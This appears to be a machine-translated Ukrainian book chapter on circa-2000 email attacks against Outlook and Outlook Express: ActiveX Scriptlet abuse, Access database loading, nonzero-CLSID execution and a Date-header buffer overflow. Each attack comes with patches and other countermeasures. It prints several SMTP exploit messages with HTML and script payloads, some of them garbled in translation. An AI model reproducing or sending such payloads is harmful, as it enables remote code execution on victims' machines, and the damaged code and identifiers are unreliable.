Запуск довільної коди за допомогою електронної пошти
При
описі наступних атак будуть продемонстровані різні механізми запуску команд на цільовому комп'ютері. Багато хто з них приводиться в дію при відкритті підступних повідомлень або їх попередньому перегляді у відповідній частині вікна програм Outlook і Outlook Express.
Атаки з використанням елементів ACTIVEX, помічених як "safe for scripting"
Зломщики не могли вигадати нічого убивчішого: все, що потрібно зробити жертві, — це просто прочитати повідомлення (або проглянути його у вікні попереднього перегляду програм Outlook і Outlook Express, якщо така можливість є). При цьому з боку користувача не потрібне ніякого втручання. Ета жахлива "простота" знову з'явилася завдяки елементу управління Scriptlet. typelib, поміченому як "safe for scripting" (детальніше це питання обговорюється в розділі, присвяченому
елементам ACTIVEX). З такою ж легкістю можна використовувати Eyegod.ocx, але метод, що розглядається в даному розділі, заснований на застосуванні перевірочної коди Георгія Гунінськи, в якому використовується елемент управління Scriptlet. typelib. Нагадаємо, що Георгій помістив цей код на своєму Web-узле. Нижче приведена злегка модифікована версія цієї коди, вставленої в капсулу для злому пошти.
helo somedomain.com
mail from: <mallory@malweary.com>
rcpt to: <hapless@victim.net>
data
subject: Ya gotta read this!
Mime-version: 1.0
Content-type: text/html; charset=us-ascii
Content-transfer-encoding: 7bit
If you have received this message in error, please delete it. <object id="scr"
classid="clsid:06290bd5-48aa-lld2-8432-006008c3fbfc">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\WIN98\\start
menu\\programs\\startup\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:f935dc22-1cfo-11do-adb9-
Ooc04fd58aob'x/object><script>alert
{
' Written by Georgi
Guninski
);</" + "SCRIP
T>";
scr.write ();
</script>
</object>
quit
Цей код проводить атаку в два етапи. По-перше, він створює в теці Startup на комп'ютері користувача файл додатку HTML (з розширенням .нта) і записує в нього вміст сценарію. Цей файл створюється майже непомітно для користувача, поки він проглядає повідомлення (якщо уважно стежити за світловим індикатором жорсткого диска, то можна відмітити його мерехтіння). От як виглядає наше тестове повідомлення в теці inbox (нижче на малюнку показано вікно програми Outlook Express). Для завершення злому досить відобразити повідомлення у вікні попереднього перегляду.
Наступний етап відбудеться, коли користувач перезавантажить комп'ютер. Рано чи пізно це неминуче трапиться. Звичайно ж, можна написати такий сценарій, який сам виконував би перезавантаження. При цьому запуститься файл .нта (дані файли автоматично інтерпретуються командною оболонкою Windows). У нашому випадку користувач отримає наступне "вітальне" повідомлення.
Ці нешкідливі дії — одна з багатьох реалізацій в безбережному морі можливостей. У подібній ситуації жертва повністю знаходиться в руках зломщика.
Дія так званого черв'яка ЯК засновано на уразливості Scriptlet, який теж можна використовувати для полювання на довірливих (і що не користуються модулями оновлення) користувачів Outlook і ОЄ. Докладнішу інформацію про "чирву" ЯК можна знайти за адресою
http://www.syiri.antec.com/avcenter/venc/data/wscript. kakworm.html.
Контрзаходи
Застосуєте модулі оновлення для компонентів ACTIVEX Scriptlet і Eyedog, які можна отримати за адресою
http://www.microsoft.com/technet/security/ bulletin/ms99-032.asp.
Ще раз слід нагадати, що дані модулі оновлення дозволять усунути проблему, пов'язану тільки з даними компонентами. Більш універсальною мірою є відключення в програмах електронної пошти можливості застосування елементів управління ACTIVEX. Використовувана для цього процедура описана в розділі, в якому розглядаються зони безпеки.
"Запуск" документів MS Office за допомогою елементів ACTIVEX
Георгій Гунінськи не обмежив свої дослідження використанням дескрипторів HTML в електронному повідомленні для завантаження потенційно небезпечних елементів управління ACTIVEX. У подальших інформаційних повідомленнях, опублікованих на його вузлі, повідомляється, що за допомогою цього ж методу можуть бути "запущені" і потенци-ачьно небезпечні документи Microsoft Office ("поведінка" цих документів дуже схоже на поведінку елементів управління ACTIVEX). З результатами досліджень можна ознайомитися за адресою
http://www.nat.bg/-joro/sheetex-desc.html (для документів Excel і Powerpoint) і
http://www.nat.bg/~joro/access-desc.html (тут
описується процедура запуску коди VBA, що міститься в базах даних Access).
Керуючись двома міркуваннями, в цьому розділі буде розглянута друга з цих можливостей. По-перше, питання, пов'язані з Excel і Powerpoint, цікавіші зважаючи на здатність цих застосувань непомітно записувати файли на диск, що обговорюватиметься в подальших розділах. По-друге, вада, заснована на використанні Access, на думку більшості фахівців в області забезпечення безпеки, є серйознішою, оскільки справитися з ним не допомагають все ті заходи обережності, які застосовуються для захисту від елементів управління ACTIVEX. Навіть якщо повністю заборонити їх використання, система все одно залишається уразливою. От як високо оцінили серйозність цієї проблеми фахівці інституту SANS: "Можливо, це одна з найнебезпечніших помилок, допущених компанією Microsoft в програмах для робочих станцій Windows (всього ряду — 95. 98, 2000, NT 4.0)". Сумно, що це зауваження, яке на перший погляд наповнене сенсуалізмом, насправді може опинитися не так далеко від істини.
Проблема полягає в тому способі, який в системі Windows використовується для перевірки файлів Access (.MDB) при їх завантаженні в Internet Explorer за допомогою дескриптора OBJECT, як показано в наступному фрагменті коди HTML, наданої Георгієм Гунінськи.
OBJECT data="db3.mdb" id="dl"></object>
Як тільки програма Internet Explorer зустрічає дескриптор об'єкту, завантажується база даних Access, ім'я якої задане в параметрі data=, а потім для її відкриття викликається програма Access. Це відбувається перед тим, як користувач отримає попередження про потенційну небезпеку, яка при цьому може виникнути. Таким чином, база даних буде запущена незалежно від того, настроєний Ie/outlook/оє для запуску елементів управління ACTIVEX чи ні. Ну і поділа!
Приклад
Георгія заснований на застосуванні видаленого файлу з ім'ям db3.mdb, який він розмістив на своєму Web-узле. Цей файл є базою даних Access. де знаходиться одна форма, що запускає текстовий редактор Wordpad. Ще чого одна капсула для злому електронної пошти, що демонструє, як можна реалізувати цю атаку.
helo some domain, corn
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: And another thing!
Importance: high
Mime-version: 1.0
Content-type: text/html; charset=us-ascii
<HTML>
<h2>enticing message here!</h2>
id="dl"x/object>
</html>
quit
В даному прикладі явно заданий URL файлу db3.mdb (рядок 12), щоб можна було використовувати його в повідомленні електронної пошти. Інститутом SANS було висунуто вимогу, щоб при доступі і сумісному використанні файлів Access через Internet застосовувався протокол SMB. Просто вражаюче, скільки FTP-серверов надає свої ресурси для безконтрольного розміщення даних і доступу до них. У наступних розділах вказані інші місця зберігання даних, які можуть зацікавити зломщиків.
Основною особливістю атак цього типу є те, що обробка цих простих дескрипторів програмами Ie/outlook/оє приводить до запуску файлів, в яких міститься могутній макрос VBA. При цьому не вимагається якого-небудь втручання користувача. Невже така перспектива ще нікого не стривожила?
Контрзаходи: завдання пароля адміністратора
Ассеss
Заборона використання елементів управління ACTIVEX не запобіжить можливості реалізації описаних атак. Тому потрібно застосувати модуль оновлення відповідно до інструкцій, приведених за адресою
http://www.microsoft.com/-technet/security/bulletin/MS00-049.asp. Особливу увагу слід звернути на модуль оновлення, призначений спеціально для усунення проблеми, пов'язаної з Access (компанія Microsoft назвала її вадою "сценарію IE" ("IE Script")).
Компанія Microsoft рекомендує також скористатися наступним засобом, який буде корисний незалежно від того, чи був встановлений модуль оновлення. Для програми Access потрібно встановити пароль адміністратора (за умовчанням він не використовується). Виконаєте для цього наступні дії.
1. Запустите Access 2000, але не відкривайте ніяких баз даних.
2. Виберіть команду Tools>security.
3. Виберіть пункт User And Group Accounts.
4. Виберіть користувача Admin, який повинен існувати за умовчанням.
5. Перейдіть у вкладку Change Logon Password.
6. Якщо до цього не були внесені ніякі зміни, пароль адміністратора має бути порожнім.
7. Введіть пароль адміністратора.
8. Для виходу клацніть на кнопці ОК.
Це повинно запобігти можливості запуску зловмисної коди VBA і його роботи з високими привілеями. Фахівці SANS також відзначили, що блокування брандмауером витікаючих запитів на сумісне використання файлів Windows (порти TCP 139 і TCP 445) дозволить зменшити вірогідність необдуманого запуску користувачами видаленої коди.
Запуск файлів за допомогою ненульового параметра CLSID елементів ACTIVEX
Причиною виявлення
даної вади послужило побіжно зроблене зауваження в дискусії, яка велася в бюлетені Bugtraq з приводу уразливості, обумовленої "нав'язуванням"
файлу вкладення (див. нижчий), яку запропонували реалізувати на вузлі malware. com. Велд Понд (Weld Pond), висококласний хакер, з групи Lopht, що прославився завдяки утиліті netcat для NT (див. розділ 5), завів зі своїм колегою Oil Dog з групи "Cult of Dead Cow", знаменитим автором програми Back Orifice 2000 (див. розділу 4 і 14), розмова про механізм запуску файлів, нав'язаних користувачам по методиці malware.com. Виявляється, можна запустити будь-який файл, помістивши в тіло електронного повідомлення дескриптор OBJECT і конфігурувавши його за допомогою ненульового параметра CLSID. При цьому на мішень перетворюється кожен виконуваний файл, що знаходиться на диску користувача. Нижче приведений приклад відповідної капсули для злому електронної пошти.
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: Read this!
Importance: high
Mime-version: 1.0
Content-type: text/html; charset=us-ascii
<HTML>
<HEAD>
</head>
<BODY>
<OBJECT Classid='clsid:
10000000-0000-0000-0000-000000000000'
Codebase='с:\windows\calc.exe'X/OBJECT>
</bodyx/html>
quit
Звернете увагу на ненульовий параметр CLSID. Саме він приводить в дію весь механізм. Файл, який буде запущений, задається параметром CODEBASE.
Проте
в процесі тестування з'ясувалося, що для того, щоб цей спосіб успішно спрацював, потрібне вдале розташування планет. Перша необхідна умова полягає в тому, що потрібне, щоб в програмі Outlook Express 5.00.2615.200 для зони був встановлений рівень безпеки Low. Крім того, при спробі запуску файлу calc.exe з теки System з'являлося діалогове вікно з попередженням про непідписаний елемент управління. Для такого збігу обставин користувачі мають бути достатньо неписьменні. Але якщо виконати це все ж таки вдасться, то з'являються принадні перспективи, особливо при використанні цього способу спільно з можливістю запису файлів на диск, запропонованого на Web-yxie
malware. com.
Контрзаходи проти використання ненульового параметра CLSID
Грунтуючись на результатах тестування, автори стверджують, що установка відповідного рівня безпеки зони дозволить усунути цю проблему (див. в попередніх розділах опис зон безпеки).
Переповнювання буфера поля дати в програмах Outlook і Outlook Express
Можливо,
комусь з читачів здалося, що стрижнем більшості типів атак є елементи управління ACTIVEX. 18 липня 2000 року в бюлетені Bugtraq з'явилося
повідомлення про ваду програм Outlook і Outlook Express зовсім іншого типу, що не має нічого загального з елементами ACTIVEX.
Проблема полягає в класичному переповнюванні буфера, причиною якого може послужити заповнення розділу GMT (Greenwich Mean Time — середній час по Грінвічу) поля дати заголовка електронного повідомлення надмірно великою порцією даних. В процесі завантаження такого повідомлення через протоколи РОРЗ або Imap4 файл INCETCOMM.DLL, який відповідає за аналіз значення GMT, не виконує необхідної перевірки переповнювання меж. Це приводить до виникнення аварійної ситуації в програмах Outlook і Outlook Express і можливості запуску довільної коди. Нижче приведений приклад коди, робота якої заснована на наявності цієї вади.
Date: Tue, 18 July 2000 14:16:06 +<около 1000 байтхкод для запуску>
У цій книзі вже неодноразово згадувалося, що можливість запуску в системі довільної коди відкриває необмежені можливості. Підступне повідомлення дозволяє непомітно встановити програму типу "троянський кінь". Через нього можуть розповсюджуватися "черв'яки", а, крім того, воно може дискредитувати цільову систему, запускати вкладення — одним словом, робити практично все, що заманеться.
Користувачам Outlook Express
достатньо лише відкрити теку з повідомленням, що представляє небезпеку, і вони відразу ж стають уразливими. Просте завантаження такого повідомлення в процесі перевірки пошти може привести до переповнювання буфера і виникнення виняткової ситуації. Таким чином, користувачі ОЄ потрапляють в замкнутий круг: повідомлення не може нормально завантажитися, а його вміст приводить до аварії програми при кожній подальшій спробі відновити поштову програму. Одним із способів усунення описаної проблеми є проглядання пошти і видалення повідомлення (за умови, що ми можемо його "обчислити"), що викликало аварію, за допомогою поштового клієнта, відмінного від Outlook/oe. Це легко зробити, використовуючи програму Netscape Messenger, у вікні попереднього перегляду якої відображається дата повідомлення, по якій можна зрозуміти, яке з повідомлень привело до збою. Користувачі Outlook уразливі під час попереднього перегляду, читання і пересилки повідомлення, що викликає неполадки, а також тоді, коли вони на нього відповідають.
Спочатку код,
заснований на даній ваді, був опублікований в бюлетені Bugtraq. Проте пізніше з'ясувалося, що даний підхід можна застосовувати лише проти сервера, що входить до складу приватної локальної мережі. Тому він непридатний, якщо його використовувати псуючи користувача, приєднаного до Internet через модем. Як представляється, ця публікація стала результатом помилки Аарона Дрю (Aaron Drew), який, мабуть, намагався застосувати підхід, подібний до описаного в цьому розділі методу капсули для злому електронної пошти, але замість цього помилково відправив своє повідомлення до бюлетеня Bugtraq. Підготовлене для офіційного оголошення, це повідомлення виглядало б таким чином (звернете увагу на рядок Date, в якому скорочено опущені дані, що викликають переповнювання; у прикладі вони поміщені в квадратні дужки, які не є необхідними).
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
Date: Sun, 7 May 2000 11:20:46
+[~1000 байт + код в шістнадцятиричному форматі або ascii]
Subject: Date overflow!
Importance: high Mime-version:
1.0 'Content-type: text/plain;
charset=us-ascii
This is а test of the Outlook/oe date field overflow
quit
Група Underground Security Systems Research (USSR http://www.ussrback.com ) також повідомила про те, що виявила цей пролом (принаймні, про це заявив хакер Метатрон (Metatron)). Проте, за їх твердженням, вони не почали повідомляти про неї публічно, чекаючи, поки Microsoft випустить відповідний модуль оновлення. На базі цієї вади група USSR опублікувала свою реалізацію, що викликало інтерес до їх Web-узлу. Код запускається майже таким же чином, як і в попередньому прикладі.
Контрзаходи проти переповнювання поля дати
Згідно інформаційному повідомленню компанії Microsoft, яке можна знайти на її Web-узле за адресою
http://www.microsoft.com/technet/ security/bulletin/ Ms00-043.aspвада може бути усунений за допомогою модуля оновлення,
що знаходиться за адресою http://www.microsoft.com/windows/ ie/download/critical/patch9.htm.
Крім того, цю проблему можна вирішити, встановивши одне з наступних оновлень з параметрами, прийнятими за умовчанням.
- Internet Explorer 5.01 Service Pack 1.
- Internet Explorer 5.5 на будь-яку систему за винятком Windows 2000.
Якщо виконується установка, відмінна від установки за умовчанням, і під час цього процесу встановлюються оновлені компоненти Outlook Express, то ця уразливість також усувається (при цьому у користувача буде можливість відповідного вибору).
При установці на комп'ютер з операційною системою Windows 2000 IE 5.5 не встановлює оновлені компоненти Outlook Express, тому ця вада не усувається.
Слід
також відмітити, що за твердженням компанії Microsoft користувачі Outlook, у яких ця програма настроєна тільки для використання служб MAPI, не схильні до негативного впливу, незалежно від встановленої у них версії Internet Explorer. Якщо служби електронної пошти Internet не встановлені
(Tools>services), то бібліотека INETCOMM.DLL не використовується.
|